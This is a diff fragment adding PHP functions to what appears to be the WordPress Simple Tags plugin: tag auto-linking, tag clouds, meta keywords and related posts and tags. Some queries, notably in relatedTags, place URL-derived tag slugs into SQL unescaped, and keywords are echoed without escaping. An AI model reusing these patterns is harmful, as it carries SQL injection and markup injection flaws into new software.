+					$comment = '(?s:<!(?:--.*?--\s*)+>)|';
+					$processing_instruction = '(?s:<\?.*?\?>)|';
+					$tag = '(?:<[/!$]?[-a-zA-Z0-9:]+\b(?>[^"\'>]+|"[^"]*"|\'[^\']*\')*>)';
+
+					$markup = $comment . $processing_instruction . $tag;
+					$flags = PREG_SPLIT_DELIM_CAPTURE;
+					$tokens = preg_split("{($markup)}", $content, -1, $flags);
+					$must_tokenize = FALSE;
+				}
+
+				// there should always be at least one token, but check just in case
+				if ( isset($tokens) && is_array($tokens) && count($tokens) > 0 ) {
+					$i = 0;
+					foreach ($tokens as $token) {
+						if (++$i % 2 && $token != '') { // this token is (non-markup) text
+							if ($anchor_level == 0) { // linkify if not inside anchor tags
+								if ( preg_match($match, $token) ) { // use preg_match for compatibility with PHP 4
+									$token = preg_replace($match, $substitute, $token); // only PHP 5 supports calling preg_replace with 5 arguments
+									$must_tokenize = TRUE; // re-tokenize next time around
+								}
+							}
+						}
+						else { // this token is markup
+							if ( preg_match("#<\s*a\s+[^>]*>#i", $token) ) { // found <a ...>
+								$anchor_level++;
+							} elseif ( preg_match("#<\s*/\s*a\s*>#i", $token) ) { // found </a>
+								$anchor_level--;
+							}
+						}
+						$filtered .= $token; // this token has now been filtered
+					}
+					$content = $filtered; // filtering completed for this link
+				}
+			}
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Replace marker by a tag cloud in post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineTagCloud( $content = '' ) {
+		if ( strpos($content, '<!--st_tag_cloud-->') ) {
+			$content = str_replace('<!--st_tag_cloud-->', $this->extendedTagCloud( '', false ), $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * Stock posts ID as soon as possible
+	 *
+	 * @param array $posts
+	 * @return array
+	 */
+	function getPostIds( $posts = array() ) {
+		if ( !empty($posts) && is_array($posts) ) {
+			foreach( (array) $posts as $post) {
+				$this->posts[] = $post->ID;
+			}
+		}
+		return $posts;
+	}
+
+	/**
+	 * Get tags from current post views
+	 *
+	 * @return boolean
+	 */
+	function getTagsFromCurrentPosts() {
+		if ( is_array($this->posts) && count($this->posts) > 0 ) {
+			// Generate SQL from post id
+			$postlist = implode( "', '", $this->posts );
+
+			if ( $this->use_cache === true ) { // Use cache
+				// Generate key cache
+				$key = md5(maybe_serialize($postlist));
+				// Get cache if exist
+				if ( $cache = wp_cache_get( 'generate_keywords', 'simpletags' ) ) {
+					if ( isset( $cache[$key] ) ) {
+						$this->tags_currentposts = $cache[$key];
+						return true;
+					}
+				}
+			}
+
+			// If cache not exist, get datas and set cache
+			global $wpdb;
+			$results = $wpdb->get_results("
+				SELECT t.name AS name, t.term_id AS term_id, tt.count AS count
+				FROM {$wpdb->term_relationships} AS tr
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				INNER JOIN {$wpdb->terms} AS t ON (tt.term_id = t.term_id)
+				WHERE tt.taxonomy = 'post_tag'
+				AND ( tr.object_id IN ('{$postlist}') )
+				GROUP BY t.term_id
+				ORDER BY tt.count DESC");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('generate_keywords', $cache, 'simpletags');
+			}
+
+			$this->tags_currentposts = $results;
+			unset($results, $key);
+		}
+		return true;
+	}
+
+	/**
+	 * Generate keywords for meta data
+	 *
+	 * @return string
+	 */
+	function generateKeywords() {
+		// Get tags for current posts
+		if ( empty($this->tags_currentposts) ) {
+			$this->getTagsFromCurrentPosts();
+		}
+
+		$results = array();
+		foreach ( (array) $this->tags_currentposts as $term ) {
+			$results[] = $term->name;
+		}
+		unset($this->tags_currentposts);
+
+		$always_list = trim($this->options['meta_always_include']); // Static keywords
+		$always_array = (array) explode(',', $always_list);
+
+		// Trim
+		foreach ( $always_array as $keyword ) {
+			if ( empty($keyword) ) {
+				continue;
+			}
+			$results[] = trim($keyword);
+		}
+		unset($always_list, $always_array);
+
+		// Unique keywords
+		$results = array_unique($results);
+
+		// Return if empty
+		if ( empty($results) ) {
+			return '';
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $this->options['meta_keywords_qty'];
+		if ( $number != 0 && is_array($results) && !empty($results) && count($results) > 1 ) {
+			shuffle($results); // Randomize keywords
+			$results = array_slice( $results, 0, $number );
+		}
+
+		return strip_tags(implode(', ', $results));
+	}
+
+	/**
+	 * Display meta keywords
+	 *
+	 */
+	function outputMetaKeywords() {
+		$terms_list = $this->generateKeywords();
+		if ( !empty($terms_list) ) {
+			echo "\n\t" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $terms_list . '" />' ."\n";
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Auto add related posts to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlineRelatedPosts( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['rp_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['rp_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;
+					break;
+				case 'homeonly' :
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :
+					$marker = ( is_singular() ) ? true : false;
+					break;
+				case 'singleonly' :
+					$marker = ( is_single() ) ? true : false;
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;
+					break;
+				case 'all' :
+					$marker = true;
+					break;
+				case 'no' :
+				default:
+					$marker = false;
+					break;
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->relatedPosts( '', false ) );
+		}
+		return $content;
+	}
+
+	/**
+	 * Auto add current tags post to post content
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function inlinePostTags( $content = '' ) {
+		$marker = false;
+		if ( is_feed() ) {
+			if ( $this->options['tt_feed'] == '1' ) {
+				$marker = true;
+			}
+		} else {
+			switch ( $this->options['tt_embedded'] ) {
+				case 'blogonly' :
+					$marker = ( is_feed() ) ? false : true;
+					break;
+				case 'homeonly' :
+					$marker = ( is_home() ) ? true : false;
+					break;
+				case 'singularonly' :
+					$marker = ( is_singular() ) ? true : false;
+					break;
+				case 'singleonly' :
+					$marker = ( is_single() ) ? true : false;
+					break;
+				case 'pageonly' :
+					$marker = ( is_page() ) ? true : false;
+					break;
+				case 'all' :
+					$marker = true;
+					break;
+				case 'no' :
+				default:
+					$marker = false;
+					break;
+			}
+		}
+
+		if ( $marker === true ) {
+			return ( $content . $this->extendedPostTags( '', false ) );
+		}
+		return $content;
+	}
+
+	/**
+	 * Generate related posts
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedPosts( $user_args = '', $copyright = true ) {
+		$defaults = array(
+		'number' => 5,
+		'order' => 'count-desc',
+		'format' => 'list',
+		'separator' => '',
+		'include_page' => 'true',
+		'include_cat' => '',
+		'exclude_posts' => '',
+		'exclude_tags' => '',
+		'post_id' => 0,
+		'excerpt_wrap' => 55,
+		'limit_days' => 0,
+		'min_shared' => 1,
+		'title' => __('<h4>Related posts</h4>', 'simpletags'),
+		'nopoststext' => __('No related posts.', 'simpletags'),
+		'dateformat' => $this->dateformat,
+		'xformat' => __('<a href="%post_permalink%" title="%post_title% (%post_date%)">%post_title%</a> (%post_comment%)', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['number'] = $this->options['rp_limit_qty'];
+		$defaults['order'] = $this->options['rp_order'];
+		$defaults['nopoststext'] = $this->options['rp_notagstext'];
+		$defaults['title'] = $this->options['rp_title'];
+		$defaults['xformat'] = $this->options['rp_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rp_adv_usage'];
+		}
+
+		// Replace old markers by new
+		$markers = array('%date%' => '%post_date%', '%permalink%' => '%post_permalink%', '%title%' => '%post_title%', '%commentcount%' => '%post_comment%', '%tagcount%' => '%post_tagcount%', '%postid%' => '%post_id%');
+		if (!is_array($user_args)) $user_args = strtr($user_args, $markers);
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+
+		// Get current post data
+		$object_id = (int) $post_id;
+		if ( $object_id == 0 ) {
+			global $post;
+			$object_id = (int) $post->ID;
+			if ( $object_id == 0 ) {
+				return false;
+			}
+		}
+
+		// Get cache if exist
+		$results = false;
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.'-'.$object_id));
+
+			if ( $cache = wp_cache_get( 'related_posts', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					$results = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $results === false || $results === null ) {
+			// Get get tags
+			$current_tags = get_the_tags( (int) $object_id );
+
+			if ( $current_tags === false ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Number - Limit
+			$number = (int) $number;
+			if ( $number == 0 ) {
+				$number = 5;
+			} elseif( $number > 50 ) {
+				$number = 50;
+			}
+			$limit_sql = 'LIMIT 0, '.$number;
+			unset($number);
+
+			// Order tags before output (count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random)
+			$order_by = '';
+			$order = strtolower($order);
+			switch ( $order ) {
+				case 'count-asc':
+					$order_by = 'counter ASC, p.post_title DESC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					break;
+				case 'date-asc':
+					$order_by = 'p.post_date ASC';
+					break;
+				case 'date-desc':
+					$order_by = 'p.post_date DESC';
+					break;
+				case 'name-asc':
+					$order_by = 'p.post_title ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'p.post_title DESC';
+					break;
+				default: // count-desc
+				$order_by = 'counter DESC, p.post_title DESC';
+				break;
+			}
+
+			// Limit days - 86400 seconds = 1 day
+			$limit_days = (int) $limit_days;
+			$limit_days_sql = '';
+			if ( $limit_days != 0 ) {
+				$limit_days_sql = 'AND p.post_date > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+			}
+			unset($limit_days);
+
+			// Include_page
+			$include_page = strtolower($include_page);
+			if ( $include_page == 'true' ) {
+				$restrict_sql = "AND p.post_type IN ('page', 'post')";
+			} else {
+				$restrict_sql = "AND p.post_type = 'post'";
+			}
+			unset($include_page);
+
+			// Restrict posts
+			$exclude_posts_sql = '';
+			if ( $exclude_posts != '' ) {
+				$exclude_posts = (array) explode(',', $exclude_posts);
+				$exclude_posts = array_unique($exclude_posts);
+				$exclude_posts_sql = "AND p.ID NOT IN (";
+				foreach ( $exclude_posts as $value ) {
+					$value = (int) $value;
+					if( $value > 0 && $value != $object_id ) {
+						$exclude_posts_sql .= '"'.$value.'", ';
+					}
+				}
+				$exclude_posts_sql .= '"'.$object_id.'")';
+			} else {
+				$exclude_posts_sql = "AND p.ID <> {$object_id}";
+			}
+			unset($exclude_posts);
+
+			// Restricts tags
+			$tags_to_exclude = array();
+			if ( $exclude_tags != '' ) {
+				$exclude_tags = (array) explode(',', $exclude_tags);
+				$exclude_tags = array_unique($exclude_tags);
+				foreach ( $exclude_tags as $value ) {
+					$tags_to_exclude[] = trim($value);
+				}
+			}
+			unset($exclude_tags);
+
+			// SQL Tags list
+			$tag_list = '';
+			foreach ( (array) $current_tags as $tag ) {
+				if ( !in_array($tag->name, $tags_to_exclude) ) {
+					$tag_list .= '"'.(int) $tag->term_id.'", ';
+				}
+			}
+
+			// If empty return no posts text
+			if ( empty($tag_list) ) {
+				return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+			}
+
+			// Remove latest ", "
+			$tag_list = substr($tag_list, 0, strlen($tag_list) - 2);
+
+			global $wpdb;
+
+			// Include category
+			$include_cat_sql = '';
+			$inner_cat_sql = '';
+			if ($include_cat != '') {
+				$include_cat = (array) explode(',', $include_cat);
+				$include_cat = array_unique($include_cat);
+				foreach ( $include_cat as $value ) {
+					$value = (int) $value;
+					if( $value > 0 ) {
+						$sql_cat_in .= '"'.$value.'", ';
+					}
+				}
+				$sql_cat_in = substr($sql_cat_in, 0, strlen($sql_cat_in) - 2);
+				$include_cat_sql = " AND (ctt.taxonomy = 'category' AND ctt.term_id IN ({$sql_cat_in})) ";
+				$inner_cat_sql = " INNER JOIN {$wpdb->term_relationships} AS ctr ON (p.ID = ctr.object_id) ";
+				$inner_cat_sql .= " INNER JOIN {$wpdb->term_taxonomy} AS ctt ON (ctr.term_taxonomy_id = ctt.term_taxonomy_id) ";
+			}
+
+			// Group Concat only for MySQL > 4.1 and check if post_relatedtags is used by xformat...
+			$select_gp_concat = '';
+			if ( version_compare(mysql_get_server_info(), '4.1.0', '>=') && ( strpos($xformat,'%post_relatedtags%') || $min_shared > 1 ) ) {
+				$select_gp_concat = ', GROUP_CONCAT(tt.term_id) as terms_id';
+			} else {
+				$xformat = str_replace('%post_relatedtags%', '', $xformat); // Group Concat only for MySQL > 4.1, remove related tags
+			}
+
+			// Check if post_excerpt is used by xformat...
+			$select_excerpt = '';
+			if ( strpos( $xformat, '%post_excerpt%' ) ) {
+				$select_excerpt = ', p.post_content, p.post_excerpt, p.post_password';
+			}
+
+			// Posts: title, comments_count, date, permalink, post_id, counter
+			$results = $wpdb->get_results("
+				SELECT p.post_title, p.comment_count, p.post_date, p.ID, COUNT(tr.object_id) AS counter {$select_excerpt} {$select_gp_concat}
+				FROM {$wpdb->posts} AS p
+				INNER JOIN {$wpdb->term_relationships} AS tr ON (p.ID = tr.object_id)
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
+				{$inner_cat_sql}
+				WHERE (tt.taxonomy = 'post_tag' AND tt.term_id IN ({$tag_list}))
+				{$include_cat_sql}
+				{$exclude_posts_sql}
+				AND p.post_status = 'publish'
+				AND p.post_date_gmt < '".current_time('mysql')."'
+				{$limit_days_sql}
+				{$restrict_sql}
+				GROUP BY tr.object_id
+				ORDER BY {$order_by}
+				{$limit_sql}");
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $results;
+				wp_cache_set('related_posts', $cache, 'simpletags');
+			}
+		}
+
+		if ( $format == 'object' || $format == 'array' ) {
+			return $results;
+		} elseif ( $results === false || empty($results) ) {
+			return $this->outputContent( 'st-related-posts', $format, $title, $nopoststext, $copyright );
+		}
+
+		if ( empty($dateformat) ) {
+			$dateformat = $this->dateformat;
+		}
+
+		$output = array();
+		// Replace placeholders
+		foreach ( (array) $results as $result ) {
+			if ( ( $min_shared > 1 && ( count(explode(',', $result->terms_id)) < $min_shared ) ) || !is_object($result) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$post_title = apply_filters( 'the_title', $result->post_title );
+			$element_loop = str_replace('%post_date%', mysql2date($dateformat, $result->post_date), $element_loop);
+			$element_loop = str_replace('%post_permalink%', get_permalink($result->ID), $element_loop);
+			$element_loop = str_replace('%post_title%', $post_title, $element_loop);
+			$element_loop = str_replace('%post_title_attribute%', wp_specialchars(strip_tags($post_title)), $element_loop);
+			$element_loop = str_replace('%post_comment%', $result->comment_count, $element_loop);
+			$element_loop = str_replace('%post_tagcount%', $result->counter, $element_loop);
+			$element_loop = str_replace('%post_id%', $result->ID, $element_loop);
+			$element_loop = str_replace('%post_relatedtags%', $this->getTagsFromID($result->terms_id), $element_loop);
+			$element_loop = str_replace('%post_excerpt%', $this->getExcerptPost( $result->post_excerpt, $result->post_content, $result->post_password, $excerpt_wrap ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$results = array();
+		unset($results, $result);
+
+		return $this->outputContent( 'st-related-posts', $format, $title, $output, $copyright, $separator );
+	}
+
+	/**
+	 * Build excerpt from post data with specific lenght
+	 *
+	 * @param string $excerpt
+	 * @param string $content
+	 * @param string $password
+	 * @param integer $excerpt_length
+	 * @return string
+	 */
+	function getExcerptPost( $excerpt = '', $content = '', $password = '', $excerpt_length = 55 ) {
+		if ( !empty($password) ) { // if there's a password
+			if ( $_COOKIE['wp-postpass_'.COOKIEHASH] != $password ) { // and it doesn't match the cookie
+				return __('There is no excerpt because this is a protected post.', 'simpletags');
+			}
+		}
+
+		if ( !empty($excerpt) ) {
+			return apply_filters('get_the_excerpt', $excerpt);
+		} else { // Fake excerpt
+			$content = str_replace(']]>', ']]&gt;', $content);
+			$content = strip_tags($content);
+
+			$excerpt_length = (int) $excerpt_length;
+			if ( $excerpt_length == 0 ) {
+				$excerpt_length = 55;
+			}
+
+			$words = explode(' ', $content, $excerpt_length + 1);
+			if ( count($words) > $excerpt_length ) {
+				array_pop($words);
+				array_push($words, '[...]');
+				$content = implode(' ', $words);
+			}
+			return $content;
+		}
+	}
+
+	/**
+	 * Get and format tags from list ID (SQL Group Concat)
+	 *
+	 * @param array $terms
+	 * @return string
+	 */
+	function getTagsFromID( $terms = '' ) {
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// Get tags since Term ID.
+		$terms = (array) get_terms('post_tag', 'include='.$terms);
+		if ( empty($terms) ) {
+			return '';
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $this->options['no_follow'] );
+
+		$output = '';
+		foreach ( $terms as $term ) {
+			$output .= '<a href="'.get_tag_link($term->term_id).'" title="'.attribute_escape(sprintf( __ngettext('%d topic', '%d topics', $term->count, 'simpletags'), $term->count )).'" '.$rel.'>'.wp_specialchars($term->name).'</a>, ';
+		}
+		$output = substr($output, 0, strlen($output) - 2); // Remove latest ", "
+		return $output;
+	}
+
+	/**
+	 * Check is page is a tag view, even if tags haven't post
+	 *
+	 * @return boolean
+	 */
+	function isTag() {
+		if ( get_query_var('tag') == '' ) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * Get related tags for a tags view
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function relatedTags( $user_args = '' ) {
+		$defaults = array(
+		'number' => 5,
+		'order' => 'count-desc',
+		'separator' => ' ',
+		'format' => 'list',
+		'method' => 'OR',
+		'no_follow' => 0,
+		'title' => __('<h4>Related tags</h4>', 'simpletags'),
+		'notagstext' => __('No related tag found.', 'simpletags'),
+		'xformat' => __('<span>%tag_count%</span> <a %tag_rel% href="%tag_link_add%">+</a> <a %tag_rel% href="%tag_link%" title="See posts with %tag_name_attribute%">%tag_name%</a>', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['number'] = $this->options['rt_number'];
+		$defaults['order'] = $this->options['rt_order'];
+		$defaults['separator'] = $this->options['rt_separator'];
+		$defaults['format'] = $this->options['rt_format'];
+		$defaults['method'] = $this->options['rt_method'];
+		$defaults['title'] = $this->options['rt_title'];
+		$defaults['notagstext'] = $this->options['rt_notagstext'];
+		$defaults['xformat'] = $this->options['rt_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rt_adv_usage'];
+		}
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+		unset($args, $defaults);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return '';
+		}
+
+		// Method union/intersection
+		$method = strtoupper($method);
+		if ( $method == 'AND' ) {
+			$url_tag_sep = '+';
+		} else {
+			$url_tag_sep = ',';
+		}
+
+		// Get currents slugs
+		$slugs = get_query_var('tag');
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+		}else {
+			$current_slugs[] = $slugs;
+		}
+
+		// Get cache if exist
+		$related_tags = false;
+		if ( $this->use_cache === true ) { // Use cache
+			// Generate key cache
+			$key = md5(maybe_serialize($user_args.$slugs.$url_tag_sep));
+			$cache = wp_cache_get( 'related_tags', 'simpletags' );
+			if ( $cache ) {
+				if ( isset( $cache[$key] ) ) {
+					$related_tags = $cache[$key];
+				}
+			}
+		}
+
+		// If cache not exist, get datas and set cache
+		if ( $related_tags === false || $related_tags === null ) {
+			// Order tags before selection (count-asc/count-desc/name-asc/name-desc/random)
+			$order_tmp = strtolower($order);
+			$order_by = $order = '';
+			switch ( $order_tmp ) {
+				case 'count-asc':
+					$order_by = 'count';
+					$order = 'ASC';
+					break;
+				case 'random':
+					$order_by = 'RAND()';
+					$order = '';
+					break;
+				case 'name-asc':
+					$order_by = 'name';
+					$order = 'ASC';
+					break;
+				case 'name-desc':
+					$order_by = 'name';
+					$order = 'DESC';
+					break;
+				default: // count-desc
+				$order_by = 'count';
+				$order = 'DESC';
+				break;
+			}
+
+			// Get objets
+			$terms = "'" . implode("', '", $current_slugs) . "'";
+			global $wpdb;
+			$object_ids = $wpdb->get_col("
+				SELECT tr.object_id
+				FROM {$wpdb->term_relationships} AS tr
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
+				INNER JOIN {$wpdb->terms} AS t ON tt.term_id = t.term_id
+				WHERE tt.taxonomy = 'post_tag'
+				AND t.slug IN ({$terms})
+				GROUP BY tr.object_id
+				ORDER BY tr.object_id ASC");
+
+			// Clean memory
+			$terms = array();
+			unset($terms);
+
+			// Get tags for specified objects
+			$all_related_tags = wp_get_object_terms( $object_ids, 'post_tag', array('orderby' => $order_by, 'order' => $order) );
+
+			// Remove duplicates tags
+			$all_related_tags = array_intersect_key($all_related_tags, array_unique(array_map('serialize', $all_related_tags)));
+
+			// Exclude current tags
+			foreach ( (array) $all_related_tags as $tag ) {
+				if ( !in_array($tag->slug, $current_slugs) ) {
+					$related_tags[] = $tag;
+				}
+			}
+
+			// Clean memory
+			$all_related_tags = array();
+			unset($all_related_tags);
+
+			if ( $this->use_cache === true ) { // Use cache
+				$cache[$key] = $related_tags;
+				wp_cache_set('related_tags', $cache, 'simpletags');
+			}
+		}
+
+		if ( empty($related_tags) ) {
+			return $this->outputContent( 'st-related-tags', $format, $title, $notagstext, true );
+		} elseif ( $format == 'object' || $format == 'array' ) {
+			return $related_tags;
+		}
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			$related_tags = array_slice( $related_tags, 0, $number );
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Build outpout
+		$output = array();
+		foreach( $related_tags as $tag ) {
+			if ( !is_object($tag) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$element_loop = $this->formatInternalTag( $element_loop, $tag, $rel, null );
+			$element_loop = str_replace('%tag_link_add%', $this->getAddTagToLink( $current_slugs, $tag->slug, $url_tag_sep ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$related_tags = array();
+		unset($related_tags, $tag, $element_loop);
+
+		return $this->outputContent( 'st-related-tags', $format, $title, $output, true, $separator );
+	}
+
+	/**
+	 * Add a tag to a current link
+	 *
+	 * @param array $current_slugs
+	 * @param string $tag_slug
+	 * @param string $separator
+	 * @return string
+	 */
+	function getAddTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Add new tag slug to current slug
+		$current_slugs[] = $tag_slug;
+
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+
+		return apply_filters('st_add_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Get tags to remove in related tags
+	 *
+	 * @param string $user_args
+	 * @return string|array
+	 */
+	function removeRelatedTags( $user_args = '' ) {
+		$defaults = array(
+		'separator' => '<br />',
+		'format' => 'list',
+		'notagstext' => '',
+		'no_follow' => 0,
+		'xformat' => __('<a %tag_rel% href="%tag_link_remove%" title="Remove %tag_name_attribute% from search">Remove %tag_name%</a>', 'simpletags')
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['separator'] = $this->options['rt_remove_separator'];
+		$defaults['format'] = $this->options['rt_remove_format'];
+		$defaults['notagstext'] = $this->options['rt_remove_notagstext'];
+		$defaults['xformat'] = $this->options['rt_remove_xformat'];
+
+		if( empty($user_args) ) {
+			$user_args = $this->options['rt_remove_adv_usage'];
+		}
+
+		$args = wp_parse_args( $user_args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+		unset($args, $defaults, $user_args);
+
+		if ( !is_tag() && !$this->isTag() ) {
+			return '';
+		}
+
+		// Get currents slugs
+		$slugs = get_query_var('tag');
+		if ( strpos( $slugs, ',') ) {
+			$current_slugs = explode(',', $slugs);
+			$url_tag_sep = ',';
+		} elseif ( strpos( $slugs, '+') ) {
+			$current_slugs = explode('+', $slugs);
+			$url_tag_sep = '+';
+		} elseif ( strpos( $slugs, ' ') ) {
+			$current_slugs = explode(' ', $slugs);
+			$url_tag_sep = '+';
+		} else {
+			return $this->outputContent( 'st-remove-related-tags', $format, '', $notagstext, true );
+		}
+
+		if ( $format == 'array' || $format == 'object' ) {
+			return $current_slugs;
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		foreach ( $current_slugs as $slug ) {
+			// Get term by slug
+			$term = get_term_by('slug', $slug, 'post_tag');
+			if ( !is_object($term) ) {
+				continue;
+			}
+
+			$element_loop = $xformat;
+			$element_loop = $this->formatInternalTag( $element_loop, $term, $rel, null );
+			// Specific marker
+			$element_loop = str_replace('%tag_link_remove%', $this->getRemoveTagToLink( $current_slugs, $term->slug, $url_tag_sep ), $element_loop);
+			$output[] = $element_loop;
+		}
+
+		// Clean memory
+		$current_slugs = array();
+		unset($current_slugs, $slug, $element_loop);
+
+		return $this->outputContent( 'st-remove-related-tags', $format, '', $output );
+	}
+
+	/**
+	 * Build tag url without a specifik tag
+	 *
+	 * @param array $current_slugs
+	 * @param string $tag_slug
+	 * @param string $separator
+	 * @return string
+	 */
+	function getRemoveTagToLink( $current_slugs = array(), $tag_slug = '', $separator = ',' ) {
+		// Remove tag slug to current slugs
+		$key = array_search($tag_slug, $current_slugs);
+		unset($current_slugs[$key]);
+
+		// Array to string with good separator
+		$slugs = implode( $separator, $current_slugs );
+
+		global $wp_rewrite;
+		$taglink = $wp_rewrite->get_tag_permastruct();
+
+		if ( empty($taglink) ) { // No permalink
+			$taglink = $this->info['home'] . '/?tag=' . $slugs;
+		} else { // Custom permalink
+			$taglink = $this->info['home'] . user_trailingslashit( str_replace('%tag%', $slugs, $taglink), 'category');
+		}
+		return apply_filters('st_remove_tag_link', clean_url($taglink));
+	}
+
+	/**
+	 * Sort an array without accent for naturel order :)
+	 *
+	 * @param string $a
+	 * @param string $b
+	 * @return boolean
+	 */
+	function uksortByName( $a = '', $b = '' ) {
+		return strnatcasecmp( remove_accents($a), remove_accents($b) );
+	}
+
+	/**
+	 * Generate extended tag cloud
+	 *
+	 * @param string $args
+	 * @return string|array
+	 */
+	function extendedTagCloud( $args = '', $copyright = true ) {
+		$defaults = array(
+		'size' => 'true',
+		'smallest' => 8,
+		'largest' => 22,
+		'unit' => 'pt',
+		'color' => 'true',
+		'maxcolor' => '#000000',
+		'mincolor' => '#CCCCCC',
+		'number' => 45,
+		'format' => 'flat',
+		'cloud_selection' => 'count-desc',
+		'cloud_sort' => 'random',
+		'exclude' => '',
+		'include' => '',
+		'no_follow' => 0,
+		'limit_days' => 0,
+		'min_usage' => 0,
+		'inc_cats' => 0,
+		'notagstext' => __('No tags.', 'simpletags'),
+		'xformat' => __('<a href="%tag_link%" id="tag-link-%tag_id%" class="st-tags t%tag_scale%" title="%tag_count% topics" %tag_rel% style="%tag_size% %tag_color%">%tag_name%</a>', 'simpletags'),
+		'title' => __('<h4>Tag Cloud</h4>', 'simpletags'),
+		'category' => 0
+		);
+
+		// Get values in DB
+		$defaults['no_follow'] = $this->options['no_follow'];
+		$defaults['cloud_selection'] = $this->options['cloud_selection'];
+		$defaults['cloud_sort'] = $this->options['cloud_sort'];
+		$defaults['number'] = $this->options['cloud_limit_qty'];
+		$defaults['notagstext'] = $this->options['cloud_notagstext'];
+		$defaults['title'] = $this->options['cloud_title'];
+		$defaults['maxcolor'] = $this->options['cloud_max_color'];
+		$defaults['mincolor'] = $this->options['cloud_min_color'];
+		$defaults['largest'] = $this->options['cloud_max_size'];
+		$defaults['smallest'] = $this->options['cloud_min_size'];
+		$defaults['unit'] = $this->options['cloud_unit'];
+		$defaults['xformat'] = $this->options['cloud_xformat'];
+		$defaults['format'] = $this->options['cloud_format'];
+		$defaults['inc_cats'] = $this->options['cloud_inc_cats'];
+
+		if ( empty($args) ) {
+			$args = $this->options['cloud_adv_usage'];
+		}
+		$args = wp_parse_args( $args, $defaults );
+
+		// Get categories ?
+		$taxonomy = ( (int) $args['inc_cats'] == 0 ) ? 'post_tag' : array('post_tag', 'category');
+
+		// Get terms
+		$terms = $this->getTags( $args, $this->use_cache, $taxonomy );
+		extract($args); // Params to variables
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
